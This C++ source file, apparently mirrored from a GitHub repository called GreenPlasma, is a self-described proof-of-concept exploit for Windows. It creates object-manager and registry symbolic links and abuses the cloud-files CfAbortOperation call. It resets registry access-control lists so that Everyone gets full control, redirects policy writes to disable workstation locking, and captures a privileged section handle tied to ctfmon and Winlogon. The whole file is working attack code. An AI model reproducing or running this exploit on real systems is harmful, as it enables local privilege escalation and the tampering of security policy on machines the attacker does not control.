mirror of
https://github.com/Nightmare-Eclipse/GreenPlasma.git
synced 2026-05-26 11:20:50 +00:00
244 lines
8.4 KiB
C++
244 lines
8.4 KiB
C++
|
|
|
|
#include <iostream>
|
|
#include <Windows.h>
|
|
#include <winternl.h>
|
|
#include <aclapi.h>
|
|
#include <ntstatus.h>
|
|
#include <tlhelp32.h>
|
|
#include <sddl.h>
|
|
#include <conio.h>
|
|
#pragma comment(lib, "ntdll.lib")
|
|
#pragma comment(lib, "advapi32.lib")
|
|
|
|
|
|
#define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset))))
|
|
HMODULE hm = GetModuleHandle(L"ntdll.dll");
|
|
NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)(
|
|
OUT PHANDLE pHandle,
|
|
IN ACCESS_MASK DesiredAccess,
|
|
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
|
IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)(
|
|
OUT PHANDLE pHandle,
|
|
IN ACCESS_MASK DesiredAccess,
|
|
IN POBJECT_ATTRIBUTES ObjectAttributes,
|
|
IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject");
|
|
NTSTATUS(WINAPI* _NtOpenSection)(
|
|
_Out_ PHANDLE SectionHandle,
|
|
_In_ ACCESS_MASK DesiredAccess,
|
|
_In_ POBJECT_ATTRIBUTES ObjectAttributes
|
|
) = (NTSTATUS(WINAPI*)(
|
|
_Out_ PHANDLE SectionHandle,
|
|
_In_ ACCESS_MASK DesiredAccess,
|
|
_In_ POBJECT_ATTRIBUTES ObjectAttributes))GetProcAddress(hm, "NtOpenSection");
|
|
NTSTATUS(WINAPI* _NtDeleteKey)(
|
|
HANDLE hkey
|
|
) = (NTSTATUS(WINAPI*)(HANDLE hkey))GetProcAddress(hm, "NtDeleteKey");
|
|
DWORD(WINAPI* CfAbortOperation)(
|
|
DWORD pid,
|
|
void* unknown,
|
|
DWORD flags
|
|
) = (DWORD(WINAPI*)(
|
|
DWORD pid,
|
|
void* unknown,
|
|
DWORD flags
|
|
))GetProcAddress(LoadLibraryA("cldapi.dll"), "CfAbortOperation");
|
|
|
|
|
|
|
|
bool SetPolicyVal()
|
|
{
|
|
|
|
bool ret = true;
|
|
CfAbortOperation(GetCurrentProcessId(), NULL, 0x2);
|
|
DWORD val = 1;
|
|
DWORD dwRes = NULL;
|
|
HKEY hk = NULL;
|
|
DWORD res = NULL;
|
|
PACL pACL = NULL;
|
|
PSECURITY_DESCRIPTOR pSD = NULL;
|
|
EXPLICIT_ACCESS ea;
|
|
HANDLE htoken = NULL;
|
|
DWORD dwSize = 0;
|
|
wchar_t* stringSid = nullptr;
|
|
wchar_t linktarget[MAX_PATH] = { 0 };
|
|
PTOKEN_USER pTokenUser = NULL;
|
|
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
|
|
ea.grfAccessPermissions = GENERIC_ALL;
|
|
ea.grfAccessMode = SET_ACCESS;
|
|
ea.grfInheritance = SUB_CONTAINERS_AND_OBJECTS_INHERIT;
|
|
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
|
|
ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
|
|
ea.Trustee.ptstrName = (wchar_t*)L"Everyone";
|
|
dwRes = SetEntriesInAcl(1, &ea, NULL, &pACL);
|
|
if (ERROR_SUCCESS != dwRes) {
|
|
printf("SetEntriesInAcl error: %d\n",dwRes);
|
|
goto cleanup;
|
|
}
|
|
|
|
res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Policies\\Microsoft\\CloudFiles", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL);
|
|
if (res)
|
|
{
|
|
printf("Failed to reset HKCU\\Software\\Policies\\Microsoft\\CloudFiles DACL, error : %d\n", res);
|
|
goto cleanup;
|
|
}
|
|
res = RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps");
|
|
if (res)
|
|
{
|
|
printf("Failed to delete HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res);
|
|
goto cleanup;
|
|
}
|
|
|
|
res = RegCreateKeyEx(HKEY_CURRENT_USER, L"Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps", NULL, NULL, REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, KEY_ALL_ACCESS, NULL, &hk, NULL);
|
|
if (res)
|
|
{
|
|
printf("Failed to create HKCU\\Software\\Policies\\Microsoft\\CloudFiles\\BlockedApps, error : %d\n", res);
|
|
goto cleanup;
|
|
}
|
|
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
|
|
printf("OpenProcessToken, error : %d\n", GetLastError());
|
|
_NtDeleteKey(hk);
|
|
goto cleanup;
|
|
}
|
|
|
|
GetTokenInformation(htoken, TokenUser, nullptr, 0, &dwSize);
|
|
|
|
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
|
|
printf("GetTokenInformation failed, error : %d\n",GetLastError());
|
|
_NtDeleteKey(hk);
|
|
goto cleanup;
|
|
}
|
|
pTokenUser = (PTOKEN_USER)malloc(dwSize);
|
|
|
|
if (!GetTokenInformation(htoken, TokenUser, pTokenUser, dwSize, &dwSize)) {
|
|
printf("GetTokenInformation failed, error : %d\n", GetLastError());
|
|
_NtDeleteKey(hk);
|
|
goto cleanup;
|
|
}
|
|
CloseHandle(htoken);
|
|
htoken = NULL;
|
|
|
|
if (!ConvertSidToStringSid(pTokenUser->User.Sid, &stringSid)) {
|
|
printf("ConvertSidToStringSid failed.\n");
|
|
_NtDeleteKey(hk);
|
|
goto cleanup;
|
|
}
|
|
wsprintf(linktarget, L"\\REGISTRY\\USER\\%ws\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",stringSid);
|
|
|
|
res = RegSetValueEx(hk, L"SymbolicLinkValue", NULL, REG_LINK, (BYTE*)linktarget, wcslen(linktarget) * sizeof(wchar_t));
|
|
if (res)
|
|
{
|
|
printf("Failed to create symbolic link, error : %d\n", res);
|
|
_NtDeleteKey(hk);
|
|
goto cleanup;
|
|
}
|
|
CfAbortOperation(GetCurrentProcessId(), NULL, 0x2);
|
|
res = TreeSetNamedSecurityInfo((wchar_t*)L"CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL, TREE_SEC_INFO_RESET_KEEP_EXPLICIT, NULL, ProgressInvokeNever, NULL);
|
|
if (res)
|
|
{
|
|
printf("Failed to reset HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System DACL, error : %d\n", res);
|
|
goto cleanup;
|
|
}
|
|
|
|
_NtDeleteKey(hk);
|
|
CloseHandle(hk);
|
|
hk = NULL;
|
|
res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", NULL, KEY_SET_VALUE, &hk);
|
|
if (res)
|
|
{
|
|
printf("Failed to open HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res);
|
|
goto cleanup;
|
|
}
|
|
res = RegSetValueEx(hk, L"DisableLockWorkstation", NULL, REG_DWORD, (BYTE*)&val, sizeof(DWORD));
|
|
if (res)
|
|
{
|
|
printf("Failed to set HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ,error : %d\n", res);
|
|
goto cleanup;
|
|
}
|
|
|
|
exit:
|
|
|
|
if (pACL)
|
|
LocalFree(pACL);
|
|
if (pSD)
|
|
LocalFree(pSD);
|
|
if(hk)
|
|
CloseHandle(hk);
|
|
return ret;
|
|
cleanup:
|
|
ret = false;
|
|
goto exit;
|
|
}
|
|
|
|
int wmain(int argc, wchar_t** argv)
|
|
{
|
|
|
|
wchar_t smpath[MAX_PATH] = { 0 };
|
|
DWORD sesid = 0;
|
|
if (!ProcessIdToSessionId(GetCurrentProcessId(), &sesid))
|
|
{
|
|
printf("Failed to find current process session id, error : %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
if (!sesid)
|
|
{
|
|
printf("Seriously...?\n");
|
|
return 1;
|
|
}
|
|
wsprintf(smpath, L"\\Sessions\\%d\\BaseNamedObjects\\CTF.AsmListCache.FMPWinlogon%d", sesid, sesid);
|
|
wchar_t* ptarget = argc == 2 ? argv[1] : (wchar_t*)L"\\BaseNamedObjects\\CTFMON_DEAD";
|
|
|
|
bool lockblock = false;
|
|
SHELLEXECUTEINFO shi = { 0 };
|
|
UNICODE_STRING linksrc = { 0 };
|
|
UNICODE_STRING linktarget = { 0 };
|
|
RtlInitUnicodeString(&linksrc, smpath);
|
|
RtlInitUnicodeString(&linktarget, ptarget);
|
|
OBJECT_ATTRIBUTES objattr = { 0 };
|
|
InitializeObjectAttributes(&objattr, &linksrc, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
HANDLE hlnk = NULL;
|
|
HANDLE hmapping = NULL;
|
|
NTSTATUS stat = _NtCreateSymbolicLinkObject(&hlnk, GENERIC_ALL, &objattr, &linktarget);
|
|
if (stat)
|
|
{
|
|
printf("Failed to create object manager link.\nEither ctfmon is running as SYSTEM or an instance of the PoC is already running.\n");
|
|
goto cleanup;
|
|
}
|
|
|
|
shi.cbSize = sizeof(shi);
|
|
shi.fMask = SEE_MASK_NOZONECHECKS | SEE_MASK_ASYNCOK;
|
|
shi.lpVerb = L"runas";
|
|
shi.lpFile = L"C:\\Windows\\System32\\conhost.exe";
|
|
ShellExecuteEx(&shi);
|
|
|
|
do {
|
|
_NtOpenSection(&hmapping, MAXIMUM_ALLOWED, &objattr);
|
|
} while (!hmapping);
|
|
|
|
lockblock = SetPolicyVal();
|
|
if (lockblock) {
|
|
do {
|
|
Sleep(20);
|
|
HDESK dsk = OpenInputDesktop(NULL, NULL, GENERIC_ALL);
|
|
if (!dsk || dsk == INVALID_HANDLE_VALUE)
|
|
break;
|
|
CloseDesktop(dsk);
|
|
} while (1);
|
|
LockWorkStation();
|
|
}
|
|
printf("Section handle : 0x%x\n", hmapping);
|
|
printf("Press any button to close section and exit\n");
|
|
cleanup:
|
|
if (hlnk)
|
|
CloseHandle(hlnk);
|
|
|
|
if (hmapping)
|
|
{
|
|
_getch();
|
|
CloseHandle(hmapping);
|
|
}
|
|
if (lockblock)
|
|
RegDeleteTree(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
|
|
return 0;
|
|
}
|